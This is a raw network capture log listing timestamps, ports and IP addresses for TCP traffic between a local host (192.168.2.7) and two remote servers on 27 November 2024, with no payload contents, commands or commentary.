Nov 27, 2024 16:34:47.259560108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.260293961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.260345936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.260556936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.260610104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.261173964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.261348009 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.261392117 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.262056112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.262068033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.262110949 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.262892962 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.262938023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.263115883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.263170004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.263746977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.263758898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.263792038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.263804913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.264751911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.264763117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.264895916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.418334007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.418395996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.418407917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.418440104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.418469906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.418509007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.419169903 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.419217110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.419250011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.419296980 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.420070887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.420135021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.420176029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.420221090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.421417952 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.421432018 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.421505928 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.421933889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.421978951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.422051907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.422143936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.422791004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.422856092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.422862053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.422914028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.423753977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.423821926 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.423871994 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.423913002 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.424860954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.424906015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.424983025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.425462961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.425528049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.425529003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.425620079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.426371098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.426422119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.426428080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.426491976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.427299976 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.427351952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.427443027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.427483082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.428158045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.428301096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.428355932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.429099083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.429150105 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.429198980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.429265022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.430053949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.430102110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.430162907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.430203915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.430905104 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.430957079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.431166887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.431215048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.431885958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.431967974 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.432044029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.432214975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.433027029 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.433093071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.433135033 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.433188915 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.434393883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.434475899 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.434746027 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.434802055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.435710907 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.435762882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.435843945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.435900927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.436574936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.436625004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.436680079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.436810017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.437706947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.437733889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.437755108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.437772989 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.438544035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.438594103 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.438600063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.438705921 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.439380884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.439430952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.439470053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.439513922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.440187931 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.440251112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.440283060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.440320015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.441051960 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.441107988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.441142082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.441232920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.441781998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.441837072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.441874981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.442006111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.442488909 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.442543983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.442553997 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.442706108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.443397045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.443444967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.443476915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.443550110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.444215059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.444298029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.444504023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.444694042 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.445180893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.445255995 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.445274115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.445396900 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.445975065 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.446075916 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.446346998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.446407080 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.446748972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.446760893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.446796894 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.447448015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.447496891 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.447585106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.447628975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.448225021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.448283911 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.448309898 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.448327065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.449088097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.449136019 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.449166059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.449217081 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.449862957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.449908972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.449949026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.450021982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.450788021 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.450834990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.450867891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.450918913 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.451683044 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.451734066 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.451787949 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.451827049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.452605963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.452655077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.452836037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.452888966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.453501940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.453579903 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.453609943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.453624964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.454462051 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.454473019 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.454511881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.455282927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.455339909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.455380917 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.455564022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.456201077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.456284046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.456321001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.456415892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.457113981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.457179070 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.457233906 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.457361937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.457984924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.458033085 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.458115101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.458190918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.458920002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.458964109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.458993912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.459042072 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.459867954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.459918022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.459950924 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.460056067 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.460724115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.460776091 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.460813046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.460877895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.461627007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.461677074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.461739063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.461776018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.462646008 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.462691069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.462745905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.462820053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.463587046 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.463637114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.463721037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.463777065 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.464353085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.464422941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.464440107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.464498997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.465325117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.465373039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.619347095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.619410038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.619518042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.619570971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.619676113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.619688988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.620054007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.620541096 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.620588064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.620657921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.621392012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.621471882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.621491909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.621524096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.622311115 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.622359991 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.622503996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.622555017 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.623281002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.623375893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.623402119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.623420000 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.623524904 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.624070883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.624114037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.624140978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.624243975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.624550104 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.624583960 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.625003099 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.625086069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.625130892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.625200033 CET	49835	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:47.625210047 CET	443	49835	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:47.625897884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.625966072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.626065016 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.626811981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.626856089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.626924038 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.627479076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.627708912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.627815962 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.627831936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.627970934 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.628629923 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.628643036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.628705025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.629585981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.629699945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.629771948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.630409002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.630466938 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.630503893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.630781889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.631344080 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.631397963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.631412983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.631484985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.632265091 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.632313013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.632375956 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.632441044 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.633136034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.633182049 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.633224010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.633265018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.634040117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.634195089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.634258986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.635077000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.635118961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.635133982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.635253906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.635858059 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.635945082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.636066914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.636066914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.637098074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.637274981 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.637352943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.638147116 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.638222933 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.638263941 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.638991117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.639036894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.639058113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.639077902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.639642000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.639807940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.639856100 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.640547037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.640700102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.640762091 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.641282082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.641330004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.641385078 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.641441107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.642154932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.642199039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.642255068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.642328978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.643269062 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.643347025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.643460989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.643590927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.644324064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.644381046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.644407034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:47.644512892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:47.645230055 CET	80	49777	185.215.113.206	192.168.2.7
